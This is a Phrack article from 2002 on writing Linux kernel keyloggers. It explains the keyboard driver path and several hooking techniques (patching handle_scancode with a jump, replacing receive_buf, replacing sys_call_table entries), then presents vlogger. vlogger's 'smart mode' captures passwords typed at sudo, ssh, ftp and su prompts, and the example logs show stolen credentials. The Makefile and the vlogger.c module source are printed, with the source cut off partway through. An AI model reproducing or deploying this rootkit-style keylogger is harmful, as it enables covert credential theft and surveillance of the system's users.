1651 lines
41 KiB
Text
1651 lines
41 KiB
Text
|
==Phrack Inc.==
|
||
|
|
||
|
Volume 0x0b, Issue 0x3b, Phile #0x0e of 0x12
|
||
|
|
||
|
|
||
|
|=-----------------=[ Writing Linux Kernel Keylogger ]=------------------=|
|
||
|
|=-----------------------------------------------------------------------=|
|
||
|
|=------------------=[ rd <rd@thehackerschoice.com> ]=-------------------=|
|
||
|
|=------------------------=[ June 19th, 2002 ]=--------------------------=|
|
||
|
|
||
|
--[ Contents
|
||
|
|
||
|
1 - Introduction
|
||
|
|
||
|
2 - How Linux keyboard driver work
|
||
|
|
||
|
3 - Kernel based keylogger approaches
|
||
|
3.1 - Interrupt handler
|
||
|
3.2 - Function hijacking
|
||
|
3.2.1 - handle_scancode
|
||
|
3.2.2 - put_queue
|
||
|
3.2.3 - receive_buf
|
||
|
3.2.4 - tty_read
|
||
|
3.2.5 - sys_read/sys_write
|
||
|
|
||
|
4 - vlogger
|
||
|
4.1 - The syscall/tty approach
|
||
|
4.2 - Features
|
||
|
4.3 - How to use
|
||
|
|
||
|
5 - Greets
|
||
|
|
||
|
6 - References
|
||
|
|
||
|
7 - Keylogger source
|
||
|
|
||
|
|
||
|
|
||
|
|
||
|
--[ 1 - Introduction
|
||
|
|
||
|
This article is divided into two parts. The first part of the paper
|
||
|
gives an overview on how the linux keyboard driver work, and discusses
|
||
|
methods that can be used to create a kernel based keylogger. This part
|
||
|
will be useful for those who want to write a kernel based keylogger, or to
|
||
|
write their own keyboard driver (for supporting input of non-supported
|
||
|
language in linux environment, ...) or to program taking advantage of many
|
||
|
features in the Linux keyboard driver.
|
||
|
|
||
|
The second part presents detail of vlogger, a smart kernel based linux
|
||
|
keylogger, and how to use it. Keylogger is a very interesting code being
|
||
|
used widely in honeypots, hacked systems, ... by white and black hats. As
|
||
|
most of us known, besides user space keyloggers (such as iob, uberkey,
|
||
|
unixkeylogger, ...), there are some kernel based keyloggers. The earliest
|
||
|
kernel based keylogger is linspy of halflife which was published in Phrack
|
||
|
50 (see [4]). And the recent kkeylogger is presented in 'Kernel Based
|
||
|
Keylogger' paper by mercenary (see [7]) that I found when was writing this
|
||
|
paper. The common method of those kernel based keyloggers using is to log
|
||
|
user keystrokes by intercepting sys_read or sys_write system call.
|
||
|
However, this approach is quite unstable and slowing down the whole system
|
||
|
noticeably because sys_read (or sys_write) is the generic read/write
|
||
|
function of the system; sys_read is called whenever a process wants to read
|
||
|
something from devices (such as keyboard, file, serial port, ...). In
|
||
|
vlogger, I used a better way to implement it that hijacks the tty buffer
|
||
|
processing function.
|
||
|
|
||
|
The reader is supposed to possess the knowledge on Linux Loadable Kernel
|
||
|
Module. Articles [1] and [2] are recommended to read before further
|
||
|
reading.
|
||
|
|
||
|
|
||
|
--[ 2 - How Linux keyboard driver work
|
||
|
|
||
|
Lets take a look at below figure to know how user inputs from console
|
||
|
keyboard are processed:
|
||
|
|
||
|
_____________ _________ _________
|
||
|
/ \ put_queue| |receive_buf| |tty_read
|
||
|
/handle_scancode\-------->|tty_queue|---------->|tty_ldisc|------->
|
||
|
\ / | | |buffer |
|
||
|
\_____________/ |_________| |_________|
|
||
|
|
||
|
_________ ____________
|
||
|
| |sys_read| |
|
||
|
--->|/dev/ttyX|------->|user process|
|
||
|
| | | |
|
||
|
|_________| |____________|
|
||
|
|
||
|
|
||
|
Figure 1
|
||
|
|
||
|
First, when you press a key on the keyboard, the keyboard will send
|
||
|
corresponding scancodes to keyboard driver. A single key press can produce
|
||
|
a sequence of up to six scancodes.
|
||
|
|
||
|
The handle_scancode() function in the keyboard driver parses the stream
|
||
|
of scancodes and converts it into a series of key press and key release
|
||
|
events called keycode by using a translation-table via kbd_translate()
|
||
|
function. Each key is provided with a unique keycode k in the range 1-127.
|
||
|
Pressing key k produces keycode k, while releasing it produces keycode
|
||
|
k+128.
|
||
|
|
||
|
For example, keycode of 'a' is 30. Pressing key 'a' produces keycode 30.
|
||
|
Releasing 'a' produces keycode 158 (128+30).
|
||
|
|
||
|
Next, keycodes are converted to key symbols by looking them up on the
|
||
|
appropriate keymap. This is a quite complex process. There are eight
|
||
|
possible modifiers (shift keys - Shift , AltGr, Control, Alt, ShiftL,
|
||
|
ShiftR, CtrlL and CtrlR), and the combination of currently active modifiers
|
||
|
and locks determines the keymap used.
|
||
|
|
||
|
After the above handling, the obtained characters are put into the raw
|
||
|
tty queue - tty_flip_buffer.
|
||
|
|
||
|
In the tty line discipline, receive_buf() function is called periodically
|
||
|
to get characters from tty_flip_buffer then put them into tty read queue.
|
||
|
|
||
|
When user process want to get user input, it calls read() function on
|
||
|
stdin of the process. sys_read() function will calls read() function
|
||
|
defined in file_operations structure (which is pointed to tty_read) of
|
||
|
corresponding tty (ex /dev/tty0) to read input characters and return to the
|
||
|
process.
|
||
|
|
||
|
The keyboard driver can be in one of 4 modes:
|
||
|
- scancode (RAW MODE): the application gets scancodes for input.
|
||
|
It is used by applications that implement their own keyboard
|
||
|
driver (ex: X11)
|
||
|
|
||
|
- keycode (MEDIUMRAW MODE): the application gets information on
|
||
|
which keys (identified by their keycodes) get pressed and
|
||
|
released.
|
||
|
|
||
|
- ASCII (XLATE MODE): the application effectively gets the
|
||
|
characters as defined by the keymap, using an 8-bit encoding.
|
||
|
|
||
|
- Unicode (UNICODE MODE): this mode only differs from the ASCII
|
||
|
mode by allowing the user to compose UTF8 unicode characters by
|
||
|
their decimal value, using Ascii_0 to Ascii_9, or their
|
||
|
hexadecimal (4-digit) value, using Hex_0 to Hex_9. A keymap can
|
||
|
be set up to produce UTF8 sequences (with a U+XXXX pseudo-symbol,
|
||
|
where each X is an hexadecimal digit).
|
||
|
|
||
|
Those modes influence what type of data that applications will get as
|
||
|
keyboard input. For more details on scancode, keycode and keymaps, please
|
||
|
read [3].
|
||
|
|
||
|
|
||
|
--[ 3 - Kernel based keylogger approaches
|
||
|
|
||
|
We can implement a kernel based keylogger in two ways by writing our own
|
||
|
keyboard interrupt handler or hijacking one of input processing functions.
|
||
|
|
||
|
|
||
|
----[ 3.1 - Interrupt handler
|
||
|
|
||
|
To log keystrokes, we will use our own keyboard interrupt handler. Under
|
||
|
Intel architectures, the IRQ of the keyboard controlled is IRQ 1. When
|
||
|
receives a keyboard interrupt, our own keyboard interrupt handler read the
|
||
|
scancode and keyboard status. Keyboard events can be read and written via
|
||
|
port 0x60(Keyboard data register) and 0x64(Keyboard status register).
|
||
|
|
||
|
/* below code is intel specific */
|
||
|
#define KEYBOARD_IRQ 1
|
||
|
#define KBD_STATUS_REG 0x64
|
||
|
#define KBD_CNTL_REG 0x64
|
||
|
#define KBD_DATA_REG 0x60
|
||
|
|
||
|
#define kbd_read_input() inb(KBD_DATA_REG)
|
||
|
#define kbd_read_status() inb(KBD_STATUS_REG)
|
||
|
#define kbd_write_output(val) outb(val, KBD_DATA_REG)
|
||
|
#define kbd_write_command(val) outb(val, KBD_CNTL_REG)
|
||
|
|
||
|
/* register our own IRQ handler */
|
||
|
request_irq(KEYBOARD_IRQ, my_keyboard_irq_handler, 0, "my keyboard", NULL);
|
||
|
|
||
|
In my_keyboard_irq_handler():
|
||
|
scancode = kbd_read_input();
|
||
|
key_status = kbd_read_status();
|
||
|
log_scancode(scancode);
|
||
|
|
||
|
This method is platform dependent. So it won't be portable among
|
||
|
platforms. And you have to be very careful with your interrupt handler if
|
||
|
you don't want to crash your box ;)
|
||
|
|
||
|
|
||
|
----[ 3.2 - Function hijacking
|
||
|
|
||
|
Based on the Figure 1, we can implement our keylogger to log user inputs
|
||
|
by hijacking one of handle_scancode(), put_queue(), receive_buf(),
|
||
|
tty_read() and sys_read() functions. Note that we can't intercept
|
||
|
tty_insert_flip_char() function because it is an INLINE function.
|
||
|
|
||
|
|
||
|
------[ 3.2.1 - handle_scancode
|
||
|
|
||
|
This is the entry function of the keyboard driver (see keyboard.c). It
|
||
|
handles scancodes which are received from keyboard.
|
||
|
|
||
|
# /usr/src/linux/drives/char/keyboard.c
|
||
|
void handle_scancode(unsigned char scancode, int down);
|
||
|
|
||
|
We can replace original handle_scancode() function with our own to logs
|
||
|
all scancodes. But handle_scancode() function is not a global and exported
|
||
|
function. So to do this, we can use kernel function hijacking technique
|
||
|
introduced by Silvio (see [5]).
|
||
|
|
||
|
/* below is a code snippet written by Plasmoid */
|
||
|
static struct semaphore hs_sem, log_sem;
|
||
|
static int logging=1;
|
||
|
|
||
|
#define CODESIZE 7
|
||
|
static char hs_code[CODESIZE];
|
||
|
static char hs_jump[CODESIZE] =
|
||
|
"\xb8\x00\x00\x00\x00" /* movl $0,%eax */
|
||
|
"\xff\xe0" /* jmp *%eax */
|
||
|
;
|
||
|
|
||
|
void (*handle_scancode) (unsigned char, int) =
|
||
|
(void (*)(unsigned char, int)) HS_ADDRESS;
|
||
|
|
||
|
void _handle_scancode(unsigned char scancode, int keydown)
|
||
|
{
|
||
|
if (logging && keydown)
|
||
|
log_scancode(scancode, LOGFILE);
|
||
|
|
||
|
/*
|
||
|
* Restore first bytes of the original handle_scancode code. Call
|
||
|
* the restored function and re-restore the jump code. Code is
|
||
|
* protected by semaphore hs_sem, we only want one CPU in here at a
|
||
|
* time.
|
||
|
*/
|
||
|
down(&hs_sem);
|
||
|
|
||
|
memcpy(handle_scancode, hs_code, CODESIZE);
|
||
|
handle_scancode(scancode, keydown);
|
||
|
memcpy(handle_scancode, hs_jump, CODESIZE);
|
||
|
|
||
|
up(&hs_sem);
|
||
|
}
|
||
|
|
||
|
HS_ADDRESS is set by the Makefile executing this command
|
||
|
HS_ADDRESS=0x$(word 1,$(shell ksyms -a | grep handle_scancode))
|
||
|
|
||
|
Similar to method presented in 3.1, the advantage of this method is the
|
||
|
ability to log keystrokes under X and the console, no matter if a tty is
|
||
|
invoked or not. And you will know exactly what key is pressed on the
|
||
|
keyboard (including special keys such as Control, Alt, Shift, Print Screen,
|
||
|
...). But this method is platform dependent and won't be portable among
|
||
|
platforms. This method also can't log keystroke of remote sessions and is
|
||
|
quite complex for building an advance logger.
|
||
|
|
||
|
|
||
|
------[ 3.2.2 - put_queue
|
||
|
|
||
|
This function is called by handle_scancode() function to put characters
|
||
|
into tty_queue.
|
||
|
|
||
|
# /usr/src/linux/drives/char/keyboard.c
|
||
|
void put_queue(int ch);
|
||
|
|
||
|
To intercept this function, we can use the above technique as in section
|
||
|
(3.2.1).
|
||
|
|
||
|
|
||
|
------[ 3.2.3 - receive_buf
|
||
|
|
||
|
receive_buf() function is called by the low-level tty driver to send
|
||
|
characters received by the hardware to the line discipline for processing.
|
||
|
|
||
|
# /usr/src/linux/drivers/char/n_tty.c */
|
||
|
static void n_tty_receive_buf(struct tty_struct *tty, const
|
||
|
unsigned char *cp, char *fp, int count)
|
||
|
|
||
|
cp is a pointer to the buffer of input character received by the device.
|
||
|
fp is a pointer to a pointer of flag bytes which indicate whether a
|
||
|
character was received with a parity error, etc.
|
||
|
|
||
|
Lets take a deeper look into tty structures
|
||
|
|
||
|
# /usr/include/linux/tty.h
|
||
|
struct tty_struct {
|
||
|
int magic;
|
||
|
struct tty_driver driver;
|
||
|
struct tty_ldisc ldisc;
|
||
|
struct termios *termios, *termios_locked;
|
||
|
...
|
||
|
}
|
||
|
|
||
|
# /usr/include/linux/tty_ldisc.h
|
||
|
struct tty_ldisc {
|
||
|
int magic;
|
||
|
char *name;
|
||
|
...
|
||
|
void (*receive_buf)(struct tty_struct *,
|
||
|
const unsigned char *cp, char *fp, int count);
|
||
|
int (*receive_room)(struct tty_struct *);
|
||
|
void (*write_wakeup)(struct tty_struct *);
|
||
|
};
|
||
|
|
||
|
To intercept this function, we can save the original tty receive_buf()
|
||
|
function then set ldisc.receive_buf to our own new_receive_buf() function
|
||
|
in order to logging user inputs.
|
||
|
|
||
|
Ex: to log inputs on the tty0
|
||
|
|
||
|
int fd = open("/dev/tty0", O_RDONLY, 0);
|
||
|
struct file *file = fget(fd);
|
||
|
struct tty_struct *tty = file->private_data;
|
||
|
old_receive_buf = tty->ldisc.receive_buf;
|
||
|
tty->ldisc.receive_buf = new_receive_buf;
|
||
|
|
||
|
void new_receive_buf(struct tty_struct *tty, const unsigned char *cp,
|
||
|
char *fp, int count)
|
||
|
{
|
||
|
logging(tty, cp, count); //log inputs
|
||
|
|
||
|
/* call the original receive_buf */
|
||
|
(*old_receive_buf)(tty, cp, fp, count);
|
||
|
}
|
||
|
|
||
|
|
||
|
------[ 3.2.4 - tty_read
|
||
|
|
||
|
This function is called when a process wants to read input characters
|
||
|
from a tty via sys_read() function.
|
||
|
|
||
|
# /usr/src/linux/drives/char/tty_io.c
|
||
|
static ssize_t tty_read(struct file * file, char * buf, size_t count,
|
||
|
loff_t *ppos)
|
||
|
|
||
|
static struct file_operations tty_fops = {
|
||
|
llseek: tty_lseek,
|
||
|
read: tty_read,
|
||
|
write: tty_write,
|
||
|
poll: tty_poll,
|
||
|
ioctl: tty_ioctl,
|
||
|
open: tty_open,
|
||
|
release: tty_release,
|
||
|
fasync: tty_fasync,
|
||
|
};
|
||
|
|
||
|
To log inputs on the tty0:
|
||
|
|
||
|
int fd = open("/dev/tty0", O_RDONLY, 0);
|
||
|
struct file *file = fget(fd);
|
||
|
old_tty_read = file->f_op->read;
|
||
|
file->f_op->read = new_tty_read;
|
||
|
|
||
|
|
||
|
------[ 3.2.5 - sys_read/sys_write
|
||
|
|
||
|
We will intercept sys_read/sys_write system calls to redirect it to our
|
||
|
own code which logs the content of the read/write calls. This method was
|
||
|
presented by halflife in Phrack 50 (see [4]). I highly recommend reading
|
||
|
that paper and a great article written by pragmatic called "Complete Linux
|
||
|
Loadable Kernel Modules" (see [2]).
|
||
|
|
||
|
The code to intercept sys_read/sys_write will be something like this:
|
||
|
|
||
|
extern void *sys_call_table[];
|
||
|
original_sys_read = sys_call_table[__NR_read];
|
||
|
sys_call_table[__NR_read] = new_sys_read;
|
||
|
|
||
|
|
||
|
--[ 4 - vlogger
|
||
|
|
||
|
This part will introduce my kernel keylogger which is used method
|
||
|
described in section 3.2.3 to acquire more abilities than common keyloggers
|
||
|
used sys_read/sys_write systemcall replacement approach. I have tested the
|
||
|
code with the following versions of linux kernel: 2.4.5, 2.4.7, 2.4.17 and
|
||
|
2.4.18.
|
||
|
|
||
|
|
||
|
----[ 4.1 - The syscall/tty approach
|
||
|
|
||
|
To logging both local (logged from console) and remote sessions, I chose
|
||
|
the method of intercepting receive_buf() function (see 3.2.3).
|
||
|
|
||
|
In the kernel, tty_struct and tty_queue structures are dynamically
|
||
|
allocated only when the tty is open. Thus, we also have to intercept
|
||
|
sys_open syscall to dynamically hooking the receive_buf() function of each
|
||
|
tty or pty when it's invoked.
|
||
|
|
||
|
// to intercept open syscall
|
||
|
original_sys_open = sys_call_table[__NR_open];
|
||
|
sys_call_table[__NR_open] = new_sys_open;
|
||
|
|
||
|
// new_sys_open()
|
||
|
asmlinkage int new_sys_open(const char *filename, int flags, int mode)
|
||
|
{
|
||
|
...
|
||
|
// call the original_sys_open
|
||
|
ret = (*original_sys_open)(filename, flags, mode);
|
||
|
|
||
|
if (ret >= 0) {
|
||
|
struct tty_struct * tty;
|
||
|
...
|
||
|
file = fget(ret);
|
||
|
tty = file->private_data;
|
||
|
if (tty != NULL &&
|
||
|
...
|
||
|
tty->ldisc.receive_buf != new_receive_buf) {
|
||
|
...
|
||
|
// save the old receive_buf
|
||
|
old_receive_buf = tty->ldisc.receive_buf;
|
||
|
...
|
||
|
|
||
|
/*
|
||
|
* init to intercept receive_buf of this tty
|
||
|
* tty->ldisc.receive_buf = new_receive_buf;
|
||
|
*/
|
||
|
init_tty(tty, TTY_INDEX(tty));
|
||
|
}
|
||
|
...
|
||
|
}
|
||
|
|
||
|
// our new receive_buf() function
|
||
|
void new_receive_buf(struct tty_struct *tty, const unsigned char *cp,
|
||
|
char *fp, int count)
|
||
|
{
|
||
|
if (!tty->real_raw && !tty->raw) // ignore raw mode
|
||
|
// call our logging function to log user inputs
|
||
|
vlogger_process(tty, cp, count);
|
||
|
// call the original receive_buf
|
||
|
(*old_receive_buf)(tty, cp, fp, count);
|
||
|
}
|
||
|
|
||
|
|
||
|
----[ 4.2 - Features
|
||
|
|
||
|
- Logs both local and remote sessions (via tty & pts)
|
||
|
|
||
|
- Separate logging for each tty/session. Each tty has their own logging
|
||
|
buffer.
|
||
|
|
||
|
- Nearly support all special chars such as arrow keys (left, right, up,
|
||
|
down), F1 to F12, Shift+F1 to Shift+F12, Tab, Insert, Delete, End,
|
||
|
Home, Page Up, Page Down, BackSpace, ...
|
||
|
|
||
|
- Support some line editing keys included CTRL-U and BackSpace.
|
||
|
|
||
|
- Timestamps logging, timezone supported (ripped off some codes from
|
||
|
libc).
|
||
|
|
||
|
- Multiple logging modes
|
||
|
|
||
|
o dumb mode: logs all keystrokes
|
||
|
|
||
|
o smart mode: detects password prompt automatically to log
|
||
|
user/password only. I used the similar technique presented in
|
||
|
"Passive Analysis of SSH (Secure Shell) Traffic" paper by Solar
|
||
|
Designer and Dug Song (see [6]). When the application turns input
|
||
|
echoing off, we assume that it is for entering a password.
|
||
|
|
||
|
o normal mode: disable logging
|
||
|
|
||
|
You can switch between logging modes by using a magic password.
|
||
|
|
||
|
#define VK_TOGLE_CHAR 29 // CTRL-]
|
||
|
#define MAGIC_PASS "31337" // to switch mode, type MAGIC_PASS
|
||
|
// then press VK_TOGLE_CHAR key
|
||
|
|
||
|
----[ 4.3 - How to use
|
||
|
|
||
|
Change the following options
|
||
|
|
||
|
// directory to store log files
|
||
|
#define LOG_DIR "/tmp/log"
|
||
|
|
||
|
// your local timezone
|
||
|
#define TIMEZONE 7*60*60 // GMT+7
|
||
|
|
||
|
// your magic password
|
||
|
#define MAGIC_PASS "31337"
|
||
|
|
||
|
Below is how the log file looks like:
|
||
|
|
||
|
[root@localhost log]# ls -l
|
||
|
total 60
|
||
|
-rw------- 1 root root 633 Jun 19 20:59 pass.log
|
||
|
-rw------- 1 root root 37593 Jun 19 18:51 pts11
|
||
|
-rw------- 1 root root 56 Jun 19 19:00 pts20
|
||
|
-rw------- 1 root root 746 Jun 19 20:06 pts26
|
||
|
-rw------- 1 root root 116 Jun 19 19:57 pts29
|
||
|
-rw------- 1 root root 3219 Jun 19 21:30 tty1
|
||
|
-rw------- 1 root root 18028 Jun 19 20:54 tty2
|
||
|
|
||
|
---in dumb mode
|
||
|
[root@localhost log]# head tty2 // local session
|
||
|
<19/06/2002-20:53:47 uid=501 bash> pwd
|
||
|
<19/06/2002-20:53:51 uid=501 bash> uname -a
|
||
|
<19/06/2002-20:53:53 uid=501 bash> lsmod
|
||
|
<19/06/2002-20:53:56 uid=501 bash> pwd
|
||
|
<19/06/2002-20:54:05 uid=501 bash> cd /var/log
|
||
|
<19/06/2002-20:54:13 uid=501 bash> tail messages
|
||
|
<19/06/2002-20:54:21 uid=501 bash> cd ~
|
||
|
<19/06/2002-20:54:22 uid=501 bash> ls
|
||
|
<19/06/2002-20:54:29 uid=501 bash> tty
|
||
|
<19/06/2002-20:54:29 uid=501 bash> [UP]
|
||
|
|
||
|
[root@localhost log]# tail pts11 // remote session
|
||
|
<19/06/2002-18:48:27 uid=0 bash> cd new
|
||
|
<19/06/2002-18:48:28 uid=0 bash> cp -p ~/code .
|
||
|
<19/06/2002-18:48:21 uid=0 bash> lsmod
|
||
|
<19/06/2002-18:48:27 uid=0 bash> cd /va[TAB][^H][^H]tmp/log/
|
||
|
<19/06/2002-18:48:28 uid=0 bash> ls -l
|
||
|
<19/06/2002-18:48:30 uid=0 bash> tail pts11
|
||
|
<19/06/2002-18:48:38 uid=0 bash> [UP] | more
|
||
|
<19/06/2002-18:50:44 uid=0 bash> vi vlogertxt
|
||
|
<19/06/2002-18:50:48 uid=0 vi> :q
|
||
|
<19/06/2002-18:51:14 uid=0 bash> rmmod vlogger
|
||
|
|
||
|
---in smart mode
|
||
|
[root@localhost log]# cat pass.log
|
||
|
[19/06/2002-18:28:05 tty=pts/20 uid=501 sudo]
|
||
|
USER/CMD sudo traceroute yahoo.com
|
||
|
PASS 5hgt6d
|
||
|
PASS
|
||
|
|
||
|
[19/06/2002-19:59:15 tty=pts/26 uid=0 ssh]
|
||
|
USER/CMD ssh guest@host.com
|
||
|
PASS guest
|
||
|
|
||
|
[19/06/2002-20:50:44 tty=pts/29 uid=504 ftp]
|
||
|
USER/CMD open ftp.ilog.fr
|
||
|
USER Anonymous
|
||
|
PASS heh@heh
|
||
|
|
||
|
[19/06/2002-20:59:54 tty=pts/29 uid=504 su]
|
||
|
USER/CMD su -
|
||
|
PASS asdf1234
|
||
|
|
||
|
|
||
|
Please check http://www.thehackerschoice.com/ for update on the new version
|
||
|
of this tool.
|
||
|
|
||
|
|
||
|
--[ 5 - Greets
|
||
|
|
||
|
Thanks to plasmoid, skyper for your very useful comments
|
||
|
Greets to THC, vnsecurity and all friends
|
||
|
Finally, thanks to mr. thang for english corrections
|
||
|
|
||
|
|
||
|
--[ 6 - References
|
||
|
|
||
|
[1] Linux Kernel Module Programming
|
||
|
http://www.tldp.org/LDP/lkmpg/
|
||
|
[2] Complete Linux Loadable Kernel Modules - Pragmatic
|
||
|
http://www.thehackerschoice.com/papers/LKM_HACKING.html
|
||
|
[3] The Linux keyboard driver - Andries Brouwer
|
||
|
http://www.linuxjournal.com/lj-issues/issue14/1080.html
|
||
|
[4] Abuse of the Linux Kernel for Fun and Profit - Halflife
|
||
|
http://www.phrack.com/phrack/50/P50-05
|
||
|
[5] Kernel function hijacking - Silvio Cesare
|
||
|
http://www.big.net.au/~silvio/kernel-hijack.txt
|
||
|
[6] Passive Analysis of SSH (Secure Shell) Traffic - Solar Designer
|
||
|
http://www.openwall.com/advisories/OW-003-ssh-traffic-analysis.txt
|
||
|
[7] Kernel Based Keylogger - Mercenary
|
||
|
http://packetstorm.decepticons.org/UNIX/security/kernel.keylogger.txt
|
||
|
|
||
|
--[ 7 - Keylogger sources
|
||
|
|
||
|
<++> vlogger/Makefile
|
||
|
#
|
||
|
# vlogger 1.0 by rd
|
||
|
#
|
||
|
# LOCAL_ONLY logging local session only. Doesn't intercept
|
||
|
# sys_open system call
|
||
|
# DEBUG Enable debug. Turn on this options will slow
|
||
|
# down your system
|
||
|
#
|
||
|
|
||
|
KERNELDIR =/usr/src/linux
|
||
|
include $(KERNELDIR)/.config
|
||
|
MODVERFILE = $(KERNELDIR)/include/linux/modversions.h
|
||
|
|
||
|
MODDEFS = -D__KERNEL__ -DMODULE -DMODVERSIONS
|
||
|
CFLAGS = -Wall -O2 -I$(KERNELDIR)/include -include $(MODVERFILE) \
|
||
|
-Wstrict-prototypes -fomit-frame-pointer -pipe \
|
||
|
-fno-strength-reduce -malign-loops=2 -malign-jumps=2 \
|
||
|
-malign-functions=2
|
||
|
|
||
|
all : vlogger.o
|
||
|
|
||
|
vlogger.o: vlogger.c
|
||
|
$(CC) $(CFLAGS) $(MODDEFS) -c $^ -o $@
|
||
|
|
||
|
clean:
|
||
|
rm -f *.o
|
||
|
<-->
|
||
|
<++> vlogger/vlogger.c
|
||
|
/*
|
||
|
* vlogger 1.0
|
||
|
*
|
||
|
* Copyright (C) 2002 rd <rd@vnsecurity.net>
|
||
|
*
|
||
|
* Please check http://www.thehackerschoice.com/ for update
|
||
|
*
|
||
|
* This program is free software; you can redistribute it and/or modify
|
||
|
* it under the terms of the GNU General Public License as published by
|
||
|
* the Free Software Foundation; either version 2 of the License, or
|
||
|
* (at your option) any later version
|
||
|
*
|
||
|
* This program is distributed in the hope that it will be useful, but
|
||
|
* WITHOUT ANY WARRANTY; without even the implied warranty of
|
||
|
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||
|
* General Public License for more details.
|
||
|
*
|
||
|
* Greets to THC & vnsecurity
|
||
|
*
|
||
|
*/
|
||
|
|
||
|
#define __KERNEL_SYSCALLS__
|
||
|
#include <linux/version.h>
|
||
|
#include <linux/module.h>
|
||
|
#include <linux/kernel.h>
|
||
|
#include <linux/smp_lock.h>
|
||
|
#include <linux/sched.h>
|
||
|
#include <linux/unistd.h>
|
||
|
#include <linux/string.h>
|
||
|
#include <linux/file.h>
|
||
|
#include <asm/uaccess.h>
|
||
|
#include <linux/proc_fs.h>
|
||
|
#include <asm/errno.h>
|
||
|
#include <asm/io.h>
|
||
|
|
||
|
#ifndef KERNEL_VERSION
|
||
|
#define KERNEL_VERSION(a,b,c) (((a) << 16) + ((b) << 8) + (c))
|
||
|
#endif
|
||
|
|
||
|
#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,4,9)
|
||
|
MODULE_LICENSE("GPL");
|
||
|
MODULE_AUTHOR("rd@vnsecurity.net");
|
||
|
#endif
|
||
|
|
||
|
#define MODULE_NAME "vlogger "
|
||
|
#define MVERSION "vlogger 1.0 - by rd@vnsecurity.net\n"
|
||
|
|
||
|
#ifdef DEBUG
|
||
|
#define DPRINT(format, args...) printk(MODULE_NAME format, ##args)
|
||
|
#else
|
||
|
#define DPRINT(format, args...)
|
||
|
#endif
|
||
|
|
||
|
#define N_TTY_NAME "tty"
|
||
|
#define N_PTS_NAME "pts"
|
||
|
#define MAX_TTY_CON 8
|
||
|
#define MAX_PTS_CON 256
|
||
|
#define LOG_DIR "/tmp/log"
|
||
|
#define PASS_LOG LOG_DIR "/pass.log"
|
||
|
|
||
|
#define TIMEZONE 7*60*60 // GMT+7
|
||
|
|
||
|
#define ESC_CHAR 27
|
||
|
#define BACK_SPACE_CHAR1 127 // local
|
||
|
#define BACK_SPACE_CHAR2 8 // remote
|
||
|
|
||
|
#define VK_TOGLE_CHAR 29 // CTRL-]
|
||
|
#define MAGIC_PASS "31337" // to switch mode, press MAGIC_PASS and
|
||
|
// VK_TOGLE_CHAR
|
||
|
|
||
|
#define VK_NORMAL 0
|
||
|
#define VK_DUMBMODE 1
|
||
|
#define VK_SMARTMODE 2
|
||
|
#define DEFAULT_MODE VK_DUMBMODE
|
||
|
|
||
|
#define MAX_BUFFER 256
|
||
|
#define MAX_SPECIAL_CHAR_SZ 12
|
||
|
|
||
|
#define TTY_NUMBER(tty) MINOR((tty)->device) - (tty)->driver.minor_start \
|
||
|
+ (tty)->driver.name_base
|
||
|
#define TTY_INDEX(tty) tty->driver.type == \
|
||
|
TTY_DRIVER_TYPE_PTY?MAX_TTY_CON + \
|
||
|
TTY_NUMBER(tty):TTY_NUMBER(tty)
|
||
|
#define IS_PASSWD(tty) L_ICANON(tty) && !L_ECHO(tty)
|
||
|
#define TTY_WRITE(tty, buf, count) (*tty->driver.write)(tty, 0, \
|
||
|
buf, count)
|
||
|
|
||
|
#define TTY_NAME(tty) (tty->driver.type == \
|
||
|
TTY_DRIVER_TYPE_CONSOLE?N_TTY_NAME: \
|
||
|
tty->driver.type == TTY_DRIVER_TYPE_PTY && \
|
||
|
tty->driver.subtype == PTY_TYPE_SLAVE?N_PTS_NAME:"")
|
||
|
|
||
|
#define BEGIN_KMEM { mm_segment_t old_fs = get_fs(); set_fs(get_ds());
|
||
|
#define END_KMEM set_fs(old_fs); }
|
||
|
|
||
|
extern void *sys_call_table[];
|
||
|
int errno;
|
||
|
|
||
|
struct tlogger {
|
||
|
struct tty_struct *tty;
|
||
|
char buf[MAX_BUFFER + MAX_SPECIAL_CHAR_SZ];
|
||
|
int lastpos;
|
||
|
int status;
|
||
|
int pass;
|
||
|
};
|
||
|
|
||
|
struct tlogger *ttys[MAX_TTY_CON + MAX_PTS_CON] = { NULL };
|
||
|
void (*old_receive_buf)(struct tty_struct *, const unsigned char *,
|
||
|
char *, int);
|
||
|
asmlinkage int (*original_sys_open)(const char *, int, int);
|
||
|
|
||
|
int vlogger_mode = DEFAULT_MODE;
|
||
|
|
||
|
/* Prototypes */
|
||
|
static inline void init_tty(struct tty_struct *, int);
|
||
|
|
||
|
/*
|
||
|
static char *_tty_make_name(struct tty_struct *tty,
|
||
|
const char *name, char *buf)
|
||
|
{
|
||
|
int idx = (tty)?MINOR(tty->device) - tty->driver.minor_start:0;
|
||
|
|
||
|
if (!tty)
|
||
|
strcpy(buf, "NULL tty");
|
||
|
else
|
||
|
sprintf(buf, name,
|
||
|
idx + tty->driver.name_base);
|
||
|
return buf;
|
||
|
}
|
||
|
|
||
|
char *tty_name(struct tty_struct *tty, char *buf)
|
||
|
{
|
||
|
return _tty_make_name(tty, (tty)?tty->driver.name:NULL, buf);
|
||
|
}
|
||
|
*/
|
||
|
|
||
|
#define SECS_PER_HOUR (60 * 60)
|
||
|
#define SECS_PER_DAY (SECS_PER_HOUR * 24)
|
||
|
#define isleap(year) \
|
||
|
((year) % 4 == 0 && ((year) % 100 != 0 || (year) % 400 == 0))
|
||
|
#define DIV(a, b) ((a) / (b) - ((a) % (b) < 0))
|
||
|
#define LEAPS_THRU_END_OF(y) (DIV (y, 4) - DIV (y, 100) + DIV (y, 400))
|
||
|
|
||
|
struct vtm {
|
||
|
int tm_sec;
|
||
|
int tm_min;
|
||
|
int tm_hour;
|
||
|
int tm_mday;
|
||
|
int tm_mon;
|
||
|
int tm_year;
|
||
|
};
|
||
|
|
||
|
|
||
|
/*
|
||
|
* Convert from epoch to date
|
||
|
*/
|
||
|
|
||
|
int epoch2time (const time_t *t, long int offset, struct vtm *tp)
|
||
|
{
|
||
|
static const unsigned short int mon_yday[2][13] = {
|
||
|
/* Normal years. */
|
||
|
{ 0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334, 365 },
|
||
|
/* Leap years. */
|
||
|
{ 0, 31, 60, 91, 121, 152, 182, 213, 244, 274, 305, 335, 366 }
|
||
|
};
|
||
|
|
||
|
long int days, rem, y;
|
||
|
const unsigned short int *ip;
|
||
|
|
||
|
days = *t / SECS_PER_DAY;
|
||
|
